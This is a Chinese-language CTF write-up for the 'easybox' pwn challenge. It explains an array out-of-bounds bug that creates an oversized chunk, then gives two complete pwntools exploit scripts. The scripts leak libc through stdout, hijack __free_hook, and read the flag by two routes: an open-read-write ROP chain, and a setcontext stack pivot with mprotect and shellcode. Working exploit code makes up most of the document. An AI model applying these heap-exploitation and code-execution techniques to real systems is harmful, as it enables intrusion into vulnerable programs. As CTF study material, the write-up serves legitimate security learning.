Niyah

easybox-wp

看别人 wp 发现的一种 Orw 方法

# easybox-wp

首先观察题目

禁用了 execve 调用

image-20220117213140717

进入函数观察可以发现有个数组越界

image-20220117213103827

image-20220117213309490

那么我们在申请 index 为 16 的堆块时就会直接将堆块地址写到储存 size 的数组中形成一个很大的 size,再修改 index 为 0 的堆块时便可以写很多数据

image-20220117213937060

本题没有 show,可以爆破申请到 stdout 泄露出 libc 地址,之后申请到__free_hook 完成 orw 操作

orw 参考链接:高 Glibc 版本下的堆骚操作解析

# exp1

# -*- encoding: utf-8 -*-
import sys 
import os 
import requests
from pwn import * 
binary = './easybox'
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
DEBUG = 0
if DEBUG:
    libc = elf.libc
    p = process(binary)

else:
    host = '121.40.89.206'
    port = '41232'
    p = remote(host,port)

l64 = lambda            : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda            : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a          : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a          : ras(u32(p.recv(a).ljust(4,'\x00')))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))

def ras( data ):
    lg('leak' , data)
    return data

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def boom( pwn ):
    context.update( os = 'linux', arch = 'amd64',timeout = 1)
    global p
    i = 0
    while 1 :
        try:
            i+=1
            pwn()
        except:
            lg('times ======== > ',i)
            p.close()
            if (DEBUG):
                p = process(binary)
            else :
                p = remote(host,port)

def cmd(num):
    sla('ch:',num)

def add(idx ,size , text = "a" ):
    cmd(1)
    sla('index?' , idx)
    sla('size??' , size)
    sla('something' , text)

def delete(idx):
    cmd(2)
    sla('index?' , idx)

def edit(idx , text):
    cmd(3)
    sla('index?' , idx)
    sla('something' , text)

# one_gad = one_gadget(libc.path)

def attack():
    
    # $rebase(0x000000000004060)

    add(0 , 0x18)

    for i in range(10):
        add(i+1 , 0x78)

    add(16 , 0x78)

    edit(0 , flat(0 ,0 ,0 , 0x501 ) )
    delete(1)

    add(11 , 0x78)
    add(12 , 0x78) #2

    delete(11)
    delete(12)
    add(13 , 0x1f8)
    add(14 , 0x1f8)
    edit(0 , flat(0 ,0 ,0 , 0x81 , '\x00'*0x78 , 0x481 ) )

    delete(2)

    add(15 , 0x248 , p16(0x36a0))
    add(1 , 0x78)
    
    io_file = flat(
        0xfbad1800 , 0,
        0,0,
    ) + '\x00'

    add(2 , 0x78 , io_file)
    leak = l64()

    if(leak ==0):
        exit(0)
    _IO_2_1_stdin_ = leak
    libc.address = leak - libc.sym['_IO_2_1_stdin_']
    __free_hook = libc.sym['__free_hook']
    lg('__free_hook',__free_hook)

    add(11 , 0x228)
    delete(5)
    delete(4)

    edit(0 , flat(0 ,0 ,0 , 0x81 , '\x00'*0x78 , 0x81 , '\x00'*0x78 , 0x81 , '\x00'*0x78 ,0x81, __free_hook) )

    add(5 , 0x78)
    # add(4 , 0x78)

    __free_hook = libc.sym['__free_hook']
    magic = 0x157d8a + libc.address
    
    read_addr = libc.sym['read']
    open_addr = libc.sym['open']
    puts_addr = libc.sym['puts']
    leave_ret = libc.search(asm('leave;ret')).next()
    pop_rax_ret = libc.search(asm('pop rax; ret')).next()
    pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
    pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
    pop_r13_pop_r15_ret = libc.search(asm('pop r13 ; pop r15 ; ret')).next()
    pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
    ret = pop_rdi_ret + 1
    
    magic_chain  = flat(
        __free_hook + 0x8, pop_r13_pop_r15_ret , 
        __free_hook + 0x8, __free_hook + 0x10 ,
        pop_rdx_pop_rbx_ret, 0x300 ,
        leave_ret, pop_rsi_ret,
        __free_hook + 0x8 , pop_rdi_ret , 
        0 , read_addr 
    )
    # len magic_chain 0x60
    flag_addr = __free_hook + 0x100 + len(magic_chain) + 8
    chain = flat(
        pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
        pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
        pop_rdi_ret , flag_addr , puts_addr
    ).ljust(0x100,'\x00') + 'flag.txt\x00'
    # len chain 0x80
    
    payload = flat( magic ) + magic_chain
    
    getflag =p64(ret)*0xc + chain

    lg('magic' , magic)

    add(12 , 0x78 , payload)
    # dbg('free')
    delete(12)

    # raw_input()
    se(getflag)

    p.interactive()

boom(attack)

'''
@File    :   easybox.py
@Time    :   2022/01/17 19:22:01
@Author  :   Niyah 
'''

# exp2

首先使用以下 gadget 将 rdi 转化为 rdx

mov rdx,QWORD PTR [rdi+0x8]
mov QWORD PTR [rsp],rax
call QWORD PTR [rdx+0x20]

之后调用 setcontext 设置寄存器执行栈迁移迁移到 __free_hook 附近并设置 rip 去执行 mprotect 将 __free_hook 附近设置为可执行

最后 ret2shellcode 执行提前布置到 __free_hook 附近的 shellcode

# -*- encoding: utf-8 -*-
import sys 
import os 
import requests
from pwn import * 
binary = './easybox'
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
DEBUG = 1
if DEBUG:
    libc = elf.libc
    p = process(binary)

else:
    host = '121.40.89.206'
    port = '41232'
    p = remote(host,port)

l64 = lambda            : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda            : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a          : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a          : ras(u32(p.recv(a).ljust(4,'\x00')))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))

def ras( data ):
    lg('leak' , data)
    return data

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def boom( pwn ):
    context.update( os = 'linux', arch = 'amd64',timeout = 1)
    global p
    i = 0
    while 1 :
        try:
            i+=1
            pwn()
        except:
            lg('times ======== > ',i)
            p.close()
            if (DEBUG):
                p = process(binary)
            else :
                p = remote(host,port)

def cmd(num):
    sla('ch:',num)

def add(idx ,size , text = "a" ):
    cmd(1)
    sla('index?' , idx)
    sla('size??' , size)
    sla('something' , text)

def delete(idx):
    cmd(2)
    sla('index?' , idx)

def edit(idx , text):
    cmd(3)
    sla('index?' , idx)
    sla('something' , text)

# one_gad = one_gadget(libc.path)

def attack():
    
    # $rebase(0x000000000004060)

    add(0 , 0x18)

    add(1 , 0x248)
    add(2 , 0x248)
    add(3 , 0x248)
    add(4 , 0x248)

    add(16 , 0x18)

    edit(0 , flat(0 , 0 , 0 , 0x250*4+1))
    delete(1)
    delete(3)
    delete(2)

    add(5 , 0x128)
    add(6 , 0x118)

    add(7 , 0x128 , p16(0x36a0))
    add(8 , 0x118)

    add(9 , 0x248)
    fake_io = flat(
        0xfbad1800 ,0,
        0,0,
    )
    add(10 ,0x248 , fake_io + '\x00')

    _IO_2_1_stdin_ = l64()
    libc.address = _IO_2_1_stdin_ - libc.sym['_IO_2_1_stdin_']
    __free_hook = libc.sym['__free_hook']
    lg('__free_hook',__free_hook)

    add(11 , 0x248)
    add(12 , 0x248)

    delete(11)
    delete(12)

    edit(4 , p64(__free_hook - 0x18))

    magic = libc.address + 0x00154930
    setcontext = libc.sym['setcontext'] + 61

    # getkeyserv_handle+576
    # <getkeyserv_handle+576>:	mov    rdx,QWORD PTR [rdi+0x8]
    # <getkeyserv_handle+580>:	mov    QWORD PTR [rsp],rax
    # <getkeyserv_handle+584>:	call   QWORD PTR [rdx+0x20]

    frame = SigreturnFrame()
    frame.rax = 0
    frame.rdi = (libc.sym['__free_hook'] + 8)&0xfffffffff000
    frame.rsi = 0x1000
    frame.rdx = 7
    frame.rip = libc.sym['mprotect']
    frame.rsp = __free_hook - 0x18 + 0x150

    orw_payload = shellcraft.open('flag')
    orw_payload +=shellcraft.read(3,libc.sym['__free_hook']+0x10,0x50)
    orw_payload +=shellcraft.write(1,libc.sym['__free_hook']+0x10,0x50)

    payload = flat(
        0 , __free_hook - 0x18,
        0 , magic , 
        setcontext , str(frame)[0x28:],
    )
    payload  = payload.ljust(0x150,'\x00') + p64(__free_hook - 0x18 + 0x158)
    payload += asm( orw_payload ) 
    add(13 , 0x248)
    add(14 , 0x248 , payload)

    #此方法需要有 mprotect 系统调用

    # dbg('free')

    delete(14)

    p.interactive()

attack()

# boom(attack)

'''
@File    :   easybox.py
@Time    :   2022/01/17 19:22:01
@Author  :   Niyah 
'''

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。